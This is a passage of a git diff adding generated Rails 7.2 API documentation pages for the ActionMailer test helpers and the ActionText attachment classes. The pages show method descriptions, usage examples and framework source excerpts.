Asserts that the number of emails enqueued for later delivery matches the given number.

+ +
def test_emails
+  assert_enqueued_emails 0
+  ContactMailer.welcome.deliver_later
+  assert_enqueued_emails 1
+  ContactMailer.welcome.deliver_later
+  assert_enqueued_emails 2
+end
+
+ +

If a block is passed, that block should cause the specified number of emails to be enqueued.

+ +
def test_emails_again
+  assert_enqueued_emails 1 do
+    ContactMailer.welcome.deliver_later
+  end
+
+  assert_enqueued_emails 2 do
+    ContactMailer.welcome.deliver_later
+    ContactMailer.welcome.deliver_later
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 91
+    def assert_enqueued_emails(number, &block)
+      assert_enqueued_jobs(number, only: ->(job) { delivery_job_filter(job) }, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_emails(&block) + +

+ + +
+

Asserts that no emails have been sent.

+ +
def test_emails
+  assert_no_emails
+  ContactMailer.welcome.deliver_now
+  assert_emails 1
+end
+
+ +

If a block is passed, that block should not cause any emails to be sent.

+ +
def test_emails_again
+  assert_no_emails do
+    # No emails should be sent from this block
+  end
+end
+
+ +

Note: This assertion is simply a shortcut for:

+ +
assert_emails 0, &block
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 63
+    def assert_no_emails(&block)
+      assert_emails 0, &block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_enqueued_emails(&block) + +

+ + +
+

Asserts that no emails are enqueued for later delivery.

+ +
def test_no_emails
+  assert_no_enqueued_emails
+  ContactMailer.welcome.deliver_later
+  assert_enqueued_emails 1
+end
+
+ +

If a block is provided, it should not cause any emails to be enqueued.

+ +
def test_no_emails
+  assert_no_enqueued_emails do
+    # No emails should be enqueued from this block
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 191
+    def assert_no_enqueued_emails(&block)
+      assert_enqueued_emails 0, &block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + capture_emails(&block) + +

+ + +
+

Returns any emails that are sent in the block.

+ +
def test_emails
+  emails = capture_emails do
+    ContactMailer.welcome.deliver_now
+  end
+  assert_equal "Hi there", emails.first.subject
+
+  emails = capture_emails do
+    ContactMailer.welcome.deliver_now
+    ContactMailer.welcome.deliver_later
+  end
+  assert_equal "Hi there", emails.first.subject
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 249
+    def capture_emails(&block)
+      original_count = ActionMailer::Base.deliveries.size
+      deliver_enqueued_emails(&block)
+      new_count = ActionMailer::Base.deliveries.size
+      diff = new_count - original_count
+      ActionMailer::Base.deliveries.last(diff)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deliver_enqueued_emails(queue: nil, at: nil, &block) + +

+ + +
+

Delivers all enqueued emails. If a block is given, delivers all of the emails that were enqueued throughout the duration of the block. If a block is not given, delivers all the enqueued emails up to this point in the test.

+ +
def test_deliver_enqueued_emails
+  deliver_enqueued_emails do
+    ContactMailer.welcome.deliver_later
+  end
+
+  assert_emails 1
+end
+
+def test_deliver_enqueued_emails_without_block
+  ContactMailer.welcome.deliver_later
+
+  deliver_enqueued_emails
+
+  assert_emails 1
+end
+
+ +

If the :queue option is specified, then only the emails(s) enqueued to a specific queue will be performed.

+ +
def test_deliver_enqueued_emails_with_queue
+  deliver_enqueued_emails queue: :external_mailers do
+    CustomerMailer.deliver_later_queue_name = :external_mailers
+    CustomerMailer.welcome.deliver_later # will be performed
+    EmployeeMailer.deliver_later_queue_name = :internal_mailers
+    EmployeeMailer.welcome.deliver_later # will not be performed
+  end
+
+  assert_emails 1
+end
+
+ +

If the :at option is specified, then only delivers emails enqueued to deliver immediately or before the given time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/test_helper.rb, line 231
+    def deliver_enqueued_emails(queue: nil, at: nil, &block)
+      perform_enqueued_jobs(only: ->(job) { delivery_job_filter(job) }, queue: queue, at: at, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/VERSION.html b/src/7.2/classes/ActionMailer/VERSION.html new file mode 100644 index 0000000000..62a7ba89ae --- /dev/null +++ b/src/7.2/classes/ActionMailer/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActionMailer::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText.html b/src/7.2/classes/ActionText.html new file mode 100644 index 0000000000..26e61f9606 --- /dev/null +++ b/src/7.2/classes/ActionText.html @@ -0,0 +1,358 @@ +--- +title: ActionText +layout: default +--- +
+ +
+
+ +
+ +

Action Text

+ +

Action Text brings rich text content and editing to Rails. It includes the Trix editor that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that’s associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

+ +

You can read more about Action Text in the Action Text Overview guide.

+ +

Development

+ +

The JavaScript for Action Text is distributed both as a npm module under @rails/actiontext and via the asset pipeline as actiontext.js (and we mirror Trix as trix.js). To ensure that the latter remains in sync, you must run yarn build and checkin the artifacts whenever the JavaScript source or the Trix dependency is bumped. CSS changes must be brought over manually to app/assets/stylesheets/trix.css

+ +

License

+ +

Action Text is released under the MIT License.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Action Text as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/gem_version.rb, line 7
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html_document_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text.rb, line 47
+    def html_document_class
+      return @html_document_class if defined?(@html_document_class)
+      @html_document_class =
+        defined?(Nokogiri::HTML5) ? Nokogiri::HTML5::Document : Nokogiri::HTML4::Document
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html_document_fragment_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text.rb, line 53
+    def html_document_fragment_class
+      return @html_document_fragment_class if defined?(@html_document_fragment_class)
+      @html_document_fragment_class =
+        defined?(Nokogiri::HTML5) ? Nokogiri::HTML5::DocumentFragment : Nokogiri::HTML4::DocumentFragment
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Action Text as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/version.rb, line 9
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachable.html b/src/7.2/classes/ActionText/Attachable.html new file mode 100644 index 0000000000..669578f0aa --- /dev/null +++ b/src/7.2/classes/ActionText/Attachable.html @@ -0,0 +1,659 @@ +--- +title: ActionText::Attachable +layout: default +--- +
+ +
+
+ +
+ +

Action Text Attachable

+ +

Include this module to make a record attachable to an ActionText::Content.

+ +
class Person < ApplicationRecord
+  include ActionText::Attachable
+end
+
+person = Person.create! name: "Javan"
+html = %Q(<action-text-attachment sgid="#{person.attachable_sgid}"></action-text-attachment>)
+content = ActionText::Content.new(html)
+content.attachables # => [person]
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
LOCATOR_NAME="attachable"
+ + + + + + +

Class Public methods

+ +
+

+ + from_attachable_sgid(sgid, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 43
+      def from_attachable_sgid(sgid, options = {})
+        method = sgid.is_a?(Array) ? :locate_many_signed : :locate_signed
+        record = GlobalID::Locator.public_send(method, sgid, options.merge(for: LOCATOR_NAME))
+        record || raise(ActiveRecord::RecordNotFound)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_node(node) + +

+ + +
+

Extracts the ActionText::Attachable from the attachment HTML node:

+ +
person = Person.create! name: "Javan"
+html = %Q(<action-text-attachment sgid="#{person.attachable_sgid}"></action-text-attachment>)
+fragment = ActionText::Fragment.wrap(html)
+attachment_node = fragment.find_all(ActionText::Attachment.tag_name).first
+ActionText::Attachable.from_node(attachment_node) # => person
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 31
+      def from_node(node)
+        if attachable = attachable_from_sgid(node["sgid"])
+          attachable
+        elsif attachable = ActionText::Attachables::ContentAttachment.from_node(node)
+          attachable
+        elsif attachable = ActionText::Attachables::RemoteImage.from_node(node)
+          attachable
+        else
+          ActionText::Attachables::MissingAttachable.new(node["sgid"])
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attachable_content_type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 83
+    def attachable_content_type
+      try(:content_type) || "application/octet-stream"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachable_filename() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 87
+    def attachable_filename
+      filename.to_s if respond_to?(:filename)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachable_filesize() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 91
+    def attachable_filesize
+      try(:byte_size) || try(:filesize)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachable_metadata() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 95
+    def attachable_metadata
+      try(:metadata) || {}
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachable_sgid() + +

+ + +
+

Returns the Signed Global ID for the attachable. The purpose of the ID is set to β€˜attachable’ so it can’t be reused for other purposes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 79
+    def attachable_sgid
+      to_sgid(expires_in: nil, for: LOCATOR_NAME).to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_attachable_sgid(sgid) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 58
+      def from_attachable_sgid(sgid)
+        ActionText::Attachable.from_attachable_sgid(sgid, only: self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + previewable_attachable?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 99
+    def previewable_attachable?
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_attachable_partial_path() + +

+ + +
+

Returns the path to the partial that is used for rendering the attachable. Defaults to to_partial_path.

+ +

Override to render a different partial:

+ +
class User < ApplicationRecord
+  def to_attachable_partial_path
+    "users/attachable"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 127
+    def to_attachable_partial_path
+      to_partial_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_missing_attachable_partial_path() + +

+ + +
+

Returns the path to the partial that is used for rendering missing attachables. Defaults to β€œaction_text/attachables/missing_attachable”.

+ +

Override to render a different partial:

+ +
class User < ApplicationRecord
+  def self.to_missing_attachable_partial_path
+    "users/missing_attachable"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 72
+      def to_missing_attachable_partial_path
+        ActionText::Attachables::MissingAttachable::DEFAULT_PARTIAL_PATH
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_rich_text_attributes(attributes = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 131
+    def to_rich_text_attributes(attributes = {})
+      attributes.dup.tap do |attrs|
+        attrs[:sgid] = attachable_sgid
+        attrs[:content_type] = attachable_content_type
+        attrs[:previewable] = true if previewable_attachable?
+        attrs[:filename] = attachable_filename
+        attrs[:filesize] = attachable_filesize
+        attrs[:width] = attachable_metadata[:width]
+        attrs[:height] = attachable_metadata[:height]
+      end.compact
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_trix_content_attachment_partial_path() + +

+ + +
+

Returns the path to the partial that is used for rendering the attachable in Trix. Defaults to to_partial_path.

+ +

Override to render a different partial:

+ +
class User < ApplicationRecord
+  def to_trix_content_attachment_partial_path
+    "users/trix_content_attachment"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachable.rb, line 113
+    def to_trix_content_attachment_partial_path
+      to_partial_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachables.html b/src/7.2/classes/ActionText/Attachables.html new file mode 100644 index 0000000000..2e4d417df1 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachables.html @@ -0,0 +1,77 @@ +--- +title: ActionText::Attachables +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachables/MissingAttachable.html b/src/7.2/classes/ActionText/Attachables/MissingAttachable.html new file mode 100644 index 0000000000..3f1f8b9125 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachables/MissingAttachable.html @@ -0,0 +1,205 @@ +--- +title: ActionText::Attachables::MissingAttachable +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_PARTIAL_PATH="action_text/attachables/missing_attachable"
+ + + + + + +

Class Public methods

+ +
+

+ + new(sgid) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/missing_attachable.rb, line 12
+      def initialize(sgid)
+        @sgid = SignedGlobalID.parse(sgid, for: ActionText::Attachable::LOCATOR_NAME)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + model() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/missing_attachable.rb, line 24
+      def model
+        @sgid&.model_name.to_s.safe_constantize
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_partial_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/missing_attachable.rb, line 16
+      def to_partial_path
+        if model
+          model.to_missing_attachable_partial_path
+        else
+          DEFAULT_PARTIAL_PATH
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachables/RemoteImage.html b/src/7.2/classes/ActionText/Attachables/RemoteImage.html new file mode 100644 index 0000000000..45b85c39d8 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachables/RemoteImage.html @@ -0,0 +1,270 @@ +--- +title: ActionText::Attachables::RemoteImage +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + content_type
+ [R] + height
+ [R] + url
+ [R] + width
+ + + + +

Class Public methods

+ +
+

+ + from_node(node) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/remote_image.rb, line 11
+        def from_node(node)
+          if node["url"] && content_type_is_image?(node["content-type"])
+            new(attributes_from_node(node))
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(attributes = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/remote_image.rb, line 32
+      def initialize(attributes = {})
+        @url = attributes[:url]
+        @content_type = attributes[:content_type]
+        @width = attributes[:width]
+        @height = attributes[:height]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attachable_plain_text_representation(caption) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/remote_image.rb, line 39
+      def attachable_plain_text_representation(caption)
+        "[#{caption || "Image"}]"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_partial_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachables/remote_image.rb, line 43
+      def to_partial_path
+        "action_text/attachables/remote_image"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachment.html b/src/7.2/classes/ActionText/Attachment.html new file mode 100644 index 0000000000..6cc5856cb7 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachment.html @@ -0,0 +1,670 @@ +--- +title: ActionText::Attachment +layout: default +--- +
+ +
+
+ +
+ +

Action Text Attachment

+ +

Attachments serialize attachables to HTML or plain text.

+ +
class Person < ApplicationRecord
+  include ActionText::Attachable
+end
+
+attachable = Person.create! name: "Javan"
+attachment = ActionText::Attachment.from_attachable(attachable)
+attachment.to_html # => "<action-text-attachment sgid=\"BAh7CEk..."
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ATTRIBUTES=%w( sgid content-type url href filename filesize width height previewable presentation caption content )
+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + attachable
+ [R] + node
+ + + + +

Class Public methods

+ +
+

+ + fragment_by_canonicalizing_attachments(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 27
+      def fragment_by_canonicalizing_attachments(content)
+        fragment_by_minifying_attachments(fragment_by_converting_trix_attachments(content))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_attachable(attachable, attributes = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 39
+      def from_attachable(attachable, attributes = {})
+        if node = node_from_attributes(attachable.to_rich_text_attributes(attributes))
+          new(node, attachable)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_attachables(attachables) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 35
+      def from_attachables(attachables)
+        Array(attachables).filter_map { |attachable| from_attachable(attachable) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_attributes(attributes, attachable = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 45
+      def from_attributes(attributes, attachable = nil)
+        if node = node_from_attributes(attributes)
+          from_node(node, attachable)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_node(node, attachable = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 31
+      def from_node(node, attachable = nil)
+        new(node, attachable || ActionText::Attachable.from_node(node))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(node, attachable) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 68
+    def initialize(node, attachable)
+      @node = node
+      @attachable = attachable
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + caption() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 73
+    def caption
+      node_attributes["caption"].presence
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_attributes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 77
+    def full_attributes
+      node_attributes.merge(attachable_attributes).merge(sgid_attributes)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 131
+    def inspect
+      "#<#{self.class.name} attachable=#{attachable.inspect}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_html() + +

+ + +
+

Converts the attachment to HTML.

+ +
attachable = Person.create! name: "Javan"
+attachment = ActionText::Attachment.from_attachable(attachable)
+attachment.to_html # => "<action-text-attachment sgid=\"BAh7CEk...
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 123
+    def to_html
+      HtmlConversion.node_to_html(node)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_plain_text() + +

+ + +
+

Converts the attachment to plain text.

+ +
attachable = ActiveStorage::Blob.find_by filename: "racecar.jpg"
+attachment = ActionText::Attachment.from_attachable(attachable)
+attachment.to_plain_text # => "[racecar.jpg]"
+
+ +

Use the caption when set:

+ +
attachment = ActionText::Attachment.from_attachable(attachable, caption: "Vroom vroom")
+attachment.to_plain_text # => "[Vroom vroom]"
+
+ +

The presentation can be overridden by implementing the attachable_plain_text_representation method:

+ +
class Person < ApplicationRecord
+  include ActionText::Attachable
+
+  def attachable_plain_text_representation
+    "[#{name}]"
+  end
+end
+
+attachable = Person.create! name: "Javan"
+attachment = ActionText::Attachment.from_attachable(attachable)
+attachment.to_plain_text # => "[Javan]"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 110
+    def to_plain_text
+      if respond_to?(:attachable_plain_text_representation)
+        attachable_plain_text_representation(caption)
+      else
+        caption.to_s
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 127
+    def to_s
+      to_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_full_attributes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment.rb, line 81
+    def with_full_attributes
+      self.class.from_attributes(full_attributes, attachable)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/AttachmentGallery.html b/src/7.2/classes/ActionText/AttachmentGallery.html new file mode 100644 index 0000000000..65bb64b8b9 --- /dev/null +++ b/src/7.2/classes/ActionText/AttachmentGallery.html @@ -0,0 +1,505 @@ +--- +title: ActionText::AttachmentGallery +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + node
+ + + + +

Class Public methods

+ +
+

+ + attachment_selector() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 43
+      def attachment_selector
+        "#{ActionText::Attachment.tag_name}[presentation=gallery]"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 27
+      def find_attachment_gallery_nodes(content)
+        Fragment.wrap(content).find_all(selector).select do |node|
+          node.children.all? do |child|
+            if child.text?
+              /\A(\n|\ )*\z/.match?(child.text)
+            else
+              child.matches? attachment_selector
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fragment_by_canonicalizing_attachment_galleries(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 13
+      def fragment_by_canonicalizing_attachment_galleries(content)
+        fragment_by_replacing_attachment_gallery_nodes(content) do |node|
+          "<#{TAG_NAME}>#{node.inner_html}</#{TAG_NAME}>"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 19
+      def fragment_by_replacing_attachment_gallery_nodes(content)
+        Fragment.wrap(content).update do |source|
+          find_attachment_gallery_nodes(source).each do |node|
+            node.replace(yield(node).to_s)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_node(node) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 39
+      def from_node(node)
+        new(node)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(node) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 54
+    def initialize(node)
+      @node = node
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + selector() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 47
+      def selector
+        "#{TAG_NAME}:has(#{attachment_selector} + #{attachment_selector})"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attachments() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 58
+    def attachments
+      @attachments ||= node.css(ActionText::AttachmentGallery.attachment_selector).map do |node|
+        ActionText::Attachment.from_node(node).with_full_attributes
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 68
+    def inspect
+      "#<#{self.class.name} size=#{size.inspect}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachment_gallery.rb, line 64
+    def size
+      attachments.size
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachments.html b/src/7.2/classes/ActionText/Attachments.html new file mode 100644 index 0000000000..4915680f00 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachments.html @@ -0,0 +1,77 @@ +--- +title: ActionText::Attachments +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachments/Caching.html b/src/7.2/classes/ActionText/Attachments/Caching.html new file mode 100644 index 0000000000..0339723d96 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachments/Caching.html @@ -0,0 +1,101 @@ +--- +title: ActionText::Attachments::Caching +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + cache_key(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachments/caching.rb, line 8
+      def cache_key(*args)
+        [self.class.name, cache_digest, *attachable.cache_key(*args)].join("/")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachments/Minification.html b/src/7.2/classes/ActionText/Attachments/Minification.html new file mode 100644 index 0000000000..1340cb7400 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachments/Minification.html @@ -0,0 +1,103 @@ +--- +title: ActionText::Attachments::Minification +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + fragment_by_minifying_attachments(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachments/minification.rb, line 11
+        def fragment_by_minifying_attachments(content)
+          Fragment.wrap(content).replace(ActionText::Attachment.tag_name) do |node|
+            node.tap { |n| n.inner_html = "" }
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attachments/TrixConversion.html b/src/7.2/classes/ActionText/Attachments/TrixConversion.html new file mode 100644 index 0000000000..5ae4b622d6 --- /dev/null +++ b/src/7.2/classes/ActionText/Attachments/TrixConversion.html @@ -0,0 +1,183 @@ +--- +title: ActionText::Attachments::TrixConversion +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

